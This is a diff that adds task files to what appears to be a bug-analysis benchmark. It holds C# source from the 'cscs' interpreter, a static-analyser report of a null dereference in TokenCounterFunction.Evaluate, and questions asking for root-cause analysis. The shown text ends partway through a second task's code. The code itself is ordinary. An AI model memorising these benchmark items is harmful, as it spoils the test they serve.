+                    ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(result), script, localIfPossible);
+                }
+                return result;
+            }
+
+            // Check if the variable to be set has the form of x[a][b]...,
+            // meaning that this is an array element.
+            List<Variable> arrayIndices = await Utils.GetArrayIndicesAsync(script, m_name, (string name) => { m_name = name; });
+
+            if (arrayIndices.Count == 0)
+            {
+                ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(varValue), script, localIfPossible);
+                Variable retVar = varValue.DeepClone();
+                retVar.CurrentAssign = m_name;
+                return retVar;
+            }
+
+            Variable array;
+
+            ParserFunction pf = ParserFunction.GetVariable(m_name, script);
+            array = pf != null ? (await pf.GetValueAsync(script)) : new Variable();
+
+            ExtendArray(array, arrayIndices, 0, varValue);
+
+            ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(array), script, localIfPossible);
+            return array;
+        }
+
+        Variable ProcessObject(ParsingScript script, Variable varValue)
+        {
+            if (script.CurrentClass != null)
+            {
+                script.CurrentClass.AddProperty(m_name, varValue);
+                return varValue.DeepClone();
+            }
+            string varName = m_name;
+            if (script.ClassInstance != null)
+            {
+                //varName = script.ClassInstance.InstanceName + "." + m_name;
+                varValue = script.ClassInstance.SetProperty(m_name, varValue).Result;
+                return varValue.DeepClone();
+            }
+
+            int ind = varName.IndexOf('.');
+            if (ind <= 0)
+            {
+                return null;
+            }
+
+            Utils.CheckForValidName(varName, script);
+
+            string name = varName.Substring(0, ind);
+            string prop = varName.Substring(ind + 1);
+
+            if (ParserFunction.TryAddToNamespace(prop, name, varValue))
+            {
+                return varValue.DeepClone();
+            }
+
+            ParserFunction existing = ParserFunction.GetVariable(name, script);
+            Variable baseValue = existing != null ? existing.GetValue(script) : new Variable(Variable.VarType.ARRAY);
+            baseValue.SetProperty(prop, varValue, script, name);
+
+            ParserFunction.AddGlobalOrLocalVariable(name, new GetVarFunction(baseValue), script);
+            //ParserFunction.AddGlobal(name, new GetVarFunction(baseValue), false);
+
+            return varValue.DeepClone();
+        }
+        async Task<Variable> ProcessObjectAsync(ParsingScript script, Variable varValue)
+        {
+            if (script.CurrentClass != null)
+            {
+                script.CurrentClass.AddProperty(m_name, varValue);
+                return varValue.DeepClone();
+            }
+            string varName = m_name;
+            if (script.ClassInstance != null)
+            {
+                //varName = script.ClassInstance.InstanceName + "." + m_name;
+                await script.ClassInstance.SetProperty(m_name, varValue);
+                return varValue.DeepClone();
+            }
+
+            int ind = varName.IndexOf('.');
+            if (ind <= 0)
+            {
+                return null;
+            }
+
+            Utils.CheckForValidName(varName, script);
+
+            string name = varName.Substring(0, ind);
+            string prop = varName.Substring(ind + 1);
+
+            if (ParserFunction.TryAddToNamespace(prop, name, varValue))
+            {
+                return varValue.DeepClone();
+            }
+
+            ParserFunction existing = ParserFunction.GetVariable(name, script);
+            Variable baseValue = existing != null ? await existing.GetValueAsync(script) : new Variable(Variable.VarType.ARRAY);
+            await baseValue.SetPropertyAsync(prop, varValue, script, name);
+
+            ParserFunction.AddGlobalOrLocalVariable(name, new GetVarFunction(baseValue), script);
+            //ParserFunction.AddGlobal(name, new GetVarFunction(baseValue), false);
+
+            return varValue.DeepClone();
+        }
+
+
+        override public ParserFunction NewInstance()
+        {
+            return new AssignFunction();
+        }
+
+        public static void ExtendArray(Variable parent,
+                         List<Variable> arrayIndices,
+                         int indexPtr,
+                         Variable varValue)
+        {
+            if (arrayIndices.Count <= indexPtr)
+            {
+                return;
+            }
+
+            Variable index = arrayIndices[indexPtr];
+            int currIndex = ExtendArrayHelper(parent, index);
+
+            if (arrayIndices.Count - 1 == indexPtr)
+            {
+                parent.Tuple[currIndex] = varValue;
+                return;
+            }
+
+            Variable son = parent.Tuple[currIndex];
+            ExtendArray(son, arrayIndices, indexPtr + 1, varValue);
+        }
+
+        private static int ExtendArrayHelper(Variable parent, Variable indexVar)
+        {
+            parent.SetAsArray();
+
+            int arrayIndex = parent.GetArrayIndex(indexVar);
+            if (arrayIndex < 0)
+            {
+                // This is not a "normal index" but a new string for the dictionary.
+                string hash = indexVar.AsString();
+                arrayIndex = parent.SetHashVariable(hash, Variable.NewEmpty());
+                return arrayIndex;
+            }
+
+            if (parent.Tuple.Count <= arrayIndex)
+            {
+                for (int i = parent.Tuple.Count; i <= arrayIndex; i++)
+                {
+                    parent.Tuple.Add(Variable.NewEmpty());
+                }
+            }
+            return arrayIndex;
+        }
+    }
+
+    class DeepCopyFunction : ActionFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            Variable varValue = Utils.GetItem(script);
+            return varValue.DeepClone();
+        }
+    }
+
+    class TokenizeLinesFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            string varName = Utils.GetSafeString(args, 0);
+            Variable lines = Utils.GetSafeVariable(args, 1);
+            int fromLine = Utils.GetSafeInt(args, 2, 0);
+            string sepStr = Utils.GetSafeString(args, 3, "\t");
+            if (sepStr == "\\t")
+            {
+                sepStr = "\t";
+            }
+            char[] sep = sepStr.ToCharArray();
+
+            // var function = ParserFunction.GetVariable(varName, script);
+            Variable allTokensVar = new Variable(Variable.VarType.ARRAY);
+
+            for (int counter = fromLine; counter < lines.Tuple.Count; counter++)
+            {
+                Variable lineVar = lines.Tuple[counter];
+#pragma warning disable 219
+                // bugbug - the toAdd has side effects
+                Variable toAdd = new Variable(counter - fromLine);
+#pragma warning restore 219
+                string line = lineVar.AsString();
+                var tokens = line.Split(sep);
+                Variable tokensVar = new Variable(Variable.VarType.ARRAY);
+                foreach (string token in tokens)
+                {
+                    tokensVar.Tuple.Add(new Variable(token));
+                }
+                allTokensVar.Tuple.Add(tokensVar);
+            }
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                                    new GetVarFunction(allTokensVar), script);
+
+            return Variable.EmptyInstance;
+        }
+    }
+
+    class AddVariablesToHashFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 3, m_name);
+
+            string varName = Utils.GetSafeString(args, 0);
+            Variable lines = Utils.GetSafeVariable(args, 1);
+            int fromLine = Utils.GetSafeInt(args, 2);
+            string hash2 = Utils.GetSafeString(args, 3);
+            string sepStr = Utils.GetSafeString(args, 4, "\t");
+            if (sepStr == "\\t")
+            {
+                sepStr = "\t";
+            }
+            char[] sep = sepStr.ToCharArray();
+
+            var function = ParserFunction.GetVariable(varName, script);
+            Variable mapVar = function != null ? function.GetValue(script) :
+                                        new Variable(Variable.VarType.ARRAY);
+
+            for (int counter = fromLine; counter < lines.Tuple.Count; counter++)
+            {
+                Variable lineVar = lines.Tuple[counter];
+                Variable toAdd = new Variable(counter - fromLine);
+                string line = lineVar.AsString();
+                var tokens = line.Split(sep);
+                string hash = tokens[0];
+                mapVar.AddVariableToHash(hash, toAdd);
+                if (!string.IsNullOrWhiteSpace(hash2) &&
+                    !hash2.Equals(hash, StringComparison.OrdinalIgnoreCase))
+                {
+                    mapVar.AddVariableToHash(hash2, toAdd);
+                }
+            }
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                              new GetVarFunction(mapVar), script);
+            return Variable.EmptyInstance;
+        }
+    }
+    class AddVariableToHashFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 3, m_name);
+
+            string varName = Utils.GetSafeString(args, 0);
+            Variable toAdd = Utils.GetSafeVariable(args, 1);
+            string hash = Utils.GetSafeString(args, 2);
+
+            var function = ParserFunction.GetVariable(varName, script);
+            Variable mapVar = function != null ? function.GetValue(script) :
+                                        new Variable(Variable.VarType.ARRAY);
+
+            mapVar.AddVariableToHash(hash, toAdd);
+            for (int i = 3; i < args.Count; i++)
+            {
+                string hash2 = Utils.GetSafeString(args, 3);
+                if (!string.IsNullOrWhiteSpace(hash2) &&
+                    !hash2.Equals(hash, StringComparison.OrdinalIgnoreCase))
+                {
+                    mapVar.AddVariableToHash(hash2, toAdd);
+                }
+            }
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                                new GetVarFunction(mapVar), script);
+
+            return Variable.EmptyInstance;
+        }
+    }
+    class TokenCounterFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            Variable all = Utils.GetSafeVariable(args, 0);
+            string varName = Utils.GetSafeString(args, 1);
+            int index = Utils.GetSafeInt(args, 2);
+
+            // var function = ParserFunction.GetVariable(varName, script);
+            Variable mapVar = new Variable(Variable.VarType.ARRAY);
+
+            if (all.Tuple == null)
+            {
+                return Variable.EmptyInstance;
+            }
+
+            string currentValue = "";
+            int currentCount = 0;
+
+            int globalCount = 0;
+
+            for (int i = 0; i < all.Tuple.Count; i++)
+            {
+                Variable current = all.Tuple[i];
+                if (current.Tuple == null || current.Tuple.Count < index)
+                {
+                    break;
+                }
+                string newValue = current.Tuple[index].AsString();
+                if (currentValue != newValue)
+                {
+                    currentValue = newValue;
+                    currentCount = 0;
+                }
+                mapVar.Tuple.Add(new Variable(currentCount));
+                currentCount++;
+                globalCount++;
+            }
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                                new GetVarFunction(mapVar), script);
+            // Script - Need to enable the warnings
+#pragma warning restore 219
+            return mapVar;
+        }
+    }
+
+    class TypeFunction : ParserFunction, IStringFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+
+            bool complexVariable = Utils.GetSafeInt(args, 1, 0) == 1;
+            Variable element = null;
+            if (complexVariable)
+            {
+                element = Utils.GetVariable(args[0].AsString(), script, false);
+            }
+            if (element == null)
+            {
+                element = Utils.GetSafeVariable(args, 0);
+            }
+
+            string type = element.GetTypeString();
+            script.MoveForwardIf(Constants.END_ARG, Constants.SPACE);
+
+            Variable newValue = new Variable(type);
+            return newValue;
+        }
+    }
+
+    class TypeRefFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+
+            string typeName = Utils.GetSafeString(args, 0);
+
+            Type t = GetTypeAnywhere(typeName, true);
+
+            // TODO: Support Using to look in other namespaces
+            if (t == null)
+                throw new ArgumentException($"Type [{typeName}] not found");
+            return new Variable(t);
+        }
+
+        public static Type GetTypeAnywhere(string typeName, bool ignoreCase = false)
+        {
+            // If this is called often and is slow, we could save the Assembly array globally
+            // We could also save the answer in a Dictionary<string, Type>
+            Type type = Type.GetType(typeName, false, ignoreCase);
+            if (type != null)
+                return type;
+
+            var assemblies = AppDomain.CurrentDomain.GetAssemblies();
+            foreach (var a in assemblies)
+            {
+                type = a.GetType(typeName, false, ignoreCase);
+                if (type != null)
+                    return type;
+            }
+
+            return GetTypeFromAssembly(typeName, ignoreCase, System.Reflection.Assembly.GetEntryAssembly(), assemblies.ToList(), new List<System.Reflection.Assembly>());
+        }
+
+        static Type GetTypeFromAssembly(string typeName, bool ignoreCase, System.Reflection.Assembly assembly,
+            List<System.Reflection.Assembly> loadedAssemblies, List<System.Reflection.Assembly> checkedAssemblies)
+        {
+            Type type;
+
+            // Maybe it's not loaded yet. Try to load them all and look again.
+            // I could put in an optimization to first look for any assemblies whose name begins with part of the type name
+            var location = assembly.Location;
+            var folder = Path.GetDirectoryName(location);
+
+            var refAssemblies = assembly.GetReferencedAssemblies();
+            foreach (var refAssemblyName in refAssemblies)
+            {
+                try
+                {
+                    var loadedAssembly = FindAssembly(loadedAssemblies, refAssemblyName);
+                    if (loadedAssembly == null)
+                    {
+                        string name = refAssemblyName.Name;
+                        string assemblyPath = Path.Combine(folder, name + ".dll");
+                        if (File.Exists(assemblyPath))
+                        {
+                            loadedAssembly = System.Reflection.Assembly.LoadFrom(assemblyPath);
+                            if (loadedAssembly != null)
+                            {
+                                type = loadedAssembly.GetType(typeName, false, ignoreCase);
+                                if (type != null)
+                                    return type;
+                                loadedAssemblies.Add(loadedAssembly);
+                            }
+                        }
+                    }
+                    if (loadedAssembly != null)
+                    {
+                        if (FindAssembly(checkedAssemblies, refAssemblyName) == null)
+                        {
+                            checkedAssemblies.Add(loadedAssembly);
+                            type = GetTypeFromAssembly(typeName, ignoreCase, loadedAssembly, loadedAssemblies, checkedAssemblies);
+                            if (type != null)
+                                return type;
+                        }
+                    }
+                }
+                catch
+                {
+                }
+            }
+            return null;
+        }
+
+        private static System.Reflection.Assembly FindAssembly(List<System.Reflection.Assembly> assemblies, System.Reflection.AssemblyName assemblyName)
+        {
+            return assemblies.Where((a) => a.FullName == assemblyName.FullName).FirstOrDefault();
+        }
+    }
+
+    class SizeFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // 1. Get the name of the variable.
+            string varName = Utils.GetToken(script, Constants.END_ARG_ARRAY);
+            Utils.CheckNotEnd(script, m_name);
+
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, varName, (newName) => { varName = newName; } );
+
+            // 2. Get the current value of the variable.
+            ParserFunction func = ParserFunction.GetVariable(varName, script);
+            Utils.CheckNotNull(varName, func, script);
+            Variable currentValue = func.GetValue(script);
+            Variable element = currentValue;
+
+            // 2b. Special case for an array.
+            if (arrayIndices.Count > 0)
+            {// array element
+                element = Utils.ExtractArrayElement(currentValue, arrayIndices, script);
+                script.MoveForwardIf(Constants.END_ARRAY);
+            }
+
+            // 3. Take either the length of the underlying tuple or
+            // string part if it is defined,
+            // or the numerical part converted to a string otherwise.
+            int size = element.GetSize();
+
+            script.MoveForwardIf(Constants.END_ARG, Constants.SPACE);
+
+            Variable newValue = new Variable(size);
+            return newValue;
+        }
+    }
+
+    class DefineLocalFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+
+            string varName = Utils.GetSafeString(args, 0);
+            Variable currentValue = Utils.GetSafeVariable(args, 1);
+
+            if (currentValue == null)
+            {
+                currentValue = new Variable("");
+            }
+
+            if (script.StackLevel != null)
+            {
+                ParserFunction.AddLocalVariable(new GetVarFunction(currentValue), varName);
+            }
+            else if (script.CurrentClass != null)
+            {
+                Utils.ThrowErrorMsg(m_name + " function can't be defined inside of a class.",
+                                    script, m_name);
+            }
+            else
+            {
+                string scopeName = Path.GetFileName(script.Filename);
+                ParserFunction.AddLocalScopeVariable(varName, scopeName,
+                                                     new GetVarFunction(currentValue));
+            }
+
+            return currentValue;
+        }
+    }
+
+    class GetPropertiesFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+
+            Variable baseValue = args[0];
+            List<Variable> props = baseValue.GetProperties();
+            return new Variable(props);
+        }
+    }
+
+    class GetPropertyFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name, true);
+
+            Variable baseValue = args[0];
+            string propName = Utils.GetSafeString(args, 1);
+
+            Variable propValue = baseValue.GetProperty(propName, script);
+            Utils.CheckNotNull(propValue, propName, script);
+
+            return new Variable(propValue);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 2, m_name, true);
+
+            Variable baseValue = args[0];
+            string propName = Utils.GetSafeString(args, 1);
+
+            Variable propValue = await baseValue.GetPropertyAsync(propName, script);
+            Utils.CheckNotNull(propValue, propName, script);
+
+            return new Variable(propValue);
+        }
+        public static Variable GetProperty(ParsingScript script, string sPropertyName)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, "GetProperty", true);
+
+            Variable baseValue = args[0];
+
+            Variable propValue = baseValue.GetProperty(sPropertyName, script);
+            Utils.CheckNotNull(propValue, sPropertyName, script);
+
+            return new Variable(propValue);
+        }
+        public static async Task<Variable> GetPropertyAsync(ParsingScript script, string sPropertyName)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 1, "GetProperty", true);
+
+            Variable baseValue = args[0];
+
+            Variable propValue = await baseValue.GetPropertyAsync(sPropertyName, script);
+            Utils.CheckNotNull(propValue, sPropertyName, script);
+
+            return new Variable(propValue);
+        }
+    }
+
+    class SetPropertyFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 3, m_name, true);
+
+            Variable baseValue = args[0];
+            string propName = Utils.GetSafeString(args, 1);
+            Variable propValue = Utils.GetSafeVariable(args, 2);
+
+            Variable result = baseValue.SetProperty(propName, propValue, script);
+
+            ParserFunction.AddGlobalOrLocalVariable(baseValue.ParsingToken,
+                                                    new GetVarFunction(baseValue), script);
+            return result;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 3, m_name, true);
+
+            Variable baseValue = args[0];
+            string propName = Utils.GetSafeString(args, 1);
+            Variable propValue = Utils.GetSafeVariable(args, 2);
+
+            Variable result = await baseValue.SetPropertyAsync(propName, propValue, script);
+
+            ParserFunction.AddGlobalOrLocalVariable(baseValue.ParsingToken,
+                                                    new GetVarFunction(baseValue), script);
+            return result;
+        }
+
+        public static Variable SetProperty(ParsingScript script, string sPropertyName)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, "SetProperty", true);
+
+            Variable baseValue = args[0];
+            Variable propValue = Utils.GetSafeVariable(args, 1);
+
+            Variable result = baseValue.SetProperty(sPropertyName, propValue, script);
+
+            ParserFunction.AddGlobalOrLocalVariable(baseValue.ParsingToken,
+                                                    new GetVarFunction(baseValue), script);
+            return result;
+        }
+        public static async Task<Variable> SetPropertyAsync(ParsingScript script, string sPropertyName)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 2, "SetProperty", true);
+
+            Variable baseValue = args[0];
+            Variable propValue = Utils.GetSafeVariable(args, 1);
+
+            Variable result = await baseValue.SetPropertyAsync(sPropertyName, propValue, script);
+
+            ParserFunction.AddGlobalOrLocalVariable(baseValue.ParsingToken,
+                                                    new GetVarFunction(baseValue), script);
+            return result;
+        }
+    }
+
+    class CancelFunction : ParserFunction
+    {
+        public static bool Canceled { get; set; }
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 0, m_name, true);
+
+            bool mode = Utils.GetSafeInt(args, 0, 1) == 1;
+            Canceled = mode;
+
+            return new Variable(Canceled);
+        }
+    }
+
+    public class ScheduleRunFunction : ParserFunction
+    {
+        static Dictionary<string, System.Timers.Timer> m_timers =
+           new Dictionary<string, System.Timers.Timer>();
+
+        bool m_startTimer;
+
+        public ScheduleRunFunction(bool startTimer)
+        {
+            m_startTimer = startTimer;
+        }
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+
+            if (!m_startTimer)
+            {
+                Utils.CheckArgs(args.Count, 1, m_name);
+                string cancelTimerId = Utils.GetSafeString(args, 0);
+                System.Timers.Timer cancelTimer;
+                if (m_timers.TryGetValue(cancelTimerId, out cancelTimer))
+                {
+                    cancelTimer.Stop();
+                    cancelTimer.Dispose();
+                    m_timers.Remove(cancelTimerId);
+                }
+                return Variable.EmptyInstance;
+            }
+
+            Utils.CheckArgs(args.Count, 2, m_name);
+            int timeout      = args[0].AsInt();
+            string strAction = args[1].AsString();
+            string arg       = Utils.GetSafeString(args, 2);
+            string timerId   = Utils.GetSafeString(args, 3);
+            bool autoReset   = Utils.GetSafeInt(args, 4, 0) != 0;
+
+            arg              = Utils.ProtectQuotes(arg);
+            timerId          = Utils.ProtectQuotes(timerId);
+
+            System.Timers.Timer pauseTimer = new System.Timers.Timer(timeout);
+            pauseTimer.Elapsed += (sender, e) =>
+            {
+                if (!autoReset)
+                {
+                    pauseTimer.Stop();
+                    pauseTimer.Dispose();
+                    m_timers.Remove(timerId);
+                }
+                string body = string.Format("{0}({1},{2});", strAction,
+                              "\"" + arg + "\"", "\"" + timerId + "\"");
+
+                ParsingScript tempScript = new ParsingScript(body);
+                tempScript.Execute();
+            };
+            pauseTimer.AutoReset = autoReset;
+            m_timers[timerId] = pauseTimer;
+
+            pauseTimer.Start();
+
+            return Variable.EmptyInstance;
+        }
+    }
+
+    public class SingletonFunction : ParserFunction
+    {
+        static Dictionary<string, Variable> m_singletons =
+           new Dictionary<string, Variable>();
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+
+            string expr = args[0].AsString();
+            Dictionary<int, int> char2Line;
+            expr = Utils.ConvertToScript(expr, out char2Line);
+
+            Variable result;
+            if (m_singletons.TryGetValue(expr, out result))
+            {
+                return result;
+            }
+
+            ParsingScript tempScript = new ParsingScript(expr);
+            result = tempScript.Execute();
+
+            m_singletons[expr] = result;
+
+            return result;
+        }
+    }
+
+    class GetColumnFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            Variable arrayVar = Utils.GetSafeVariable(args, 0);
+            int col = Utils.GetSafeInt(args, 1);
+            int fromCol = Utils.GetSafeInt(args, 2, 0);
+
+            var tuple = arrayVar.Tuple;
+
+            List<Variable> result = new List<Variable>(tuple.Count);
+            for (int i = fromCol; i < tuple.Count; i++)
+            {
+                Variable current = tuple[i];
+                if (current.Tuple == null || current.Tuple.Count <= col)
+                {
+                    throw new ArgumentException(m_name + ": Index [" + col + "] doesn't exist in column " +
+                                                i + "/" + (tuple.Count - 1));
+                }
+                result.Add(current.Tuple[col]);
+            }
+
+            return new Variable(result);
+        }
+    }
+
+    class GetAllKeysFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            Variable varName = Utils.GetItem(script);
+            Utils.CheckNotNull(varName, m_name, script);
+
+            List<Variable> results = varName.GetAllKeys();
+
+            return new Variable(results);
+        }
+    }
+
+    class CheckLoaderMainFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            bool isMain = !string.IsNullOrWhiteSpace(script.MainFilename) &&
+                           script.MainFilename == script.Filename;
+
+            return new Variable(isMain);
+        }
+    }
+
+    class ResetVariablesFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            ParserFunction.CleanUpVariables();
+            return Variable.EmptyInstance;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `all` last assigned on line 2619 could be null and is dereferenced at line 2626, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Variable TokenCounterFunction.Evaluate(ParsingScript)
+
+### File:
+cscs/Functions.Flow.cs
+
+### Key:
+Functions.Flow.cs|Evaluate|NULL_DEREFERENCE
+
+### Node Key:
+bef2fe14012af516d6c7bc5d1bd471c5
+
+### Hash:
+b0f56c2b42f5b0422f61218dea743349
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1848/instruction.md b/inferredbugs-1848/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dcf925ea9d863d3d70ad2f8c206997740bacb108
--- /dev/null
+++ b/inferredbugs-1848/instruction.md
@@ -0,0 +1,2470 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** cscs
+**Bug ID:** 68
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Threading.Tasks;
+
+namespace SplitAndMerge
+{
+    class BreakStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return new Variable(Variable.VarType.BREAK);
+        }
+    }
+    class ContinueStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return new Variable(Variable.VarType.CONTINUE);
+        }
+    }
+
+    class ReturnStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            script.MoveForwardIf(Constants.SPACE);
+            if (!script.FromPrev(Constants.RETURN.Length).Contains(Constants.RETURN))
+            {
+                script.Backward();
+            }
+            Variable result = Utils.GetItem(script);
+
+            // If we are in Return, we are done:
+            script.SetDone();
+            result.IsReturn = true;
+
+            return result;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            script.MoveForwardIf(Constants.SPACE);
+            if (!script.FromPrev(Constants.RETURN.Length).Contains(Constants.RETURN))
+            {
+                script.Backward();
+            }
+            Variable result = await Utils.GetItemAsync(script);
+
+            // If we are in Return, we are done:
+            script.SetDone();
+            result.IsReturn = true;
+
+            return result;
+        }
+    }
+
+    class TryBlock : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessTry(script);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return await Interpreter.Instance.ProcessTryAsync(script);
+        }
+    }
+
+    class ExitFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            Environment.Exit(0);
+            return Variable.EmptyInstance;
+        }
+    }
+
+    class ThrowFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // 1. Extract what to throw.
+            Variable arg = Utils.GetItem(script);
+
+            // 2. Convert it to a string.
+            string result = arg.AsString();
+
+            // 3. Throw it!
+            throw new ArgumentException(result);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            // 1. Extract what to throw.
+            Variable arg = await Utils.GetItemAsync(script);
+
+            // 2. Convert it to a string.
+            string result = arg.AsString();
+
+            // 3. Throw it!
+            throw new ArgumentException(result);
+        }
+    }
+
+    class ShowFunction : ParserFunction, IStringFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+
+            string funcName = args[0].AsString();
+
+            ParserFunction function = ParserFunction.GetFunction(funcName, script);
+            CustomFunction custFunc = function as CustomFunction;
+            Utils.CheckNotNull(funcName, custFunc);
+
+            string body = Utils.BeautifyScript(custFunc.Body, custFunc.Header);
+            Utils.PrintScript(body, script);
+
+            return new Variable(body);
+        }
+    }
+
+    class FunctionCreator : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            string funcName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            funcName = Constants.ConvertName(funcName);
+
+            string[] args = Utils.GetFunctionSignature(script);
+            if (args.Length == 1 && string.IsNullOrWhiteSpace(args[0]))
+            {
+                args = new string[0];
+            }
+
+            script.MoveForwardIf(Constants.START_GROUP, Constants.SPACE);
+            int lineNumber = 0;
+            /*string line = */script.GetOriginalLine(out lineNumber);
+
+            int parentOffset = script.Pointer;
+
+            if (script.CurrentClass != null)
+            {
+                parentOffset += script.CurrentClass.ParentOffset;
+            }
+
+            string body = Utils.GetBodyBetween(script, Constants.START_GROUP, Constants.END_GROUP);
+            script.MoveForwardIf(Constants.END_GROUP);
+
+            CustomFunction customFunc = new CustomFunction(funcName, body, args, script);
+            customFunc.ParentScript = script;
+            customFunc.ParentOffset = parentOffset;
+
+            if (script.CurrentClass != null)
+            {
+                script.CurrentClass.AddMethod(funcName, args, customFunc);
+            }
+            else
+            {
+                ParserFunction.RegisterFunction(funcName, customFunc, false /* not native */);
+            }
+
+            return Variable.EmptyInstance;
+        }
+    }
+
+    public class CSCSClass : ParserFunction
+    {
+        public CSCSClass() {}
+
+        public CSCSClass(string className)
+        {
+            Name = className;
+            RegisterClass(className, this);
+        }
+
+        public CSCSClass(string className, string[] baseClasses)
+        {
+            Name = className;
+            RegisterClass(className, this);
+
+            foreach (string baseClass in baseClasses)
+            {
+                var bc = CSCSClass.GetClass(baseClass);
+                if (bc == null)
+                {
+                    throw new ArgumentException("Base Class [" + baseClass + "] not found.");
+                }
+
+                foreach (var entry in bc.m_classProperties)
+                {
+                    m_classProperties[entry.Key] = entry.Value;
+                }
+                foreach (var entry in bc.m_customFunctions)
+                {
+                    m_customFunctions[entry.Key] = entry.Value;
+                }
+            }
+        }
+
+        public static void RegisterClass(string className, CSCSClass obj)
+        {
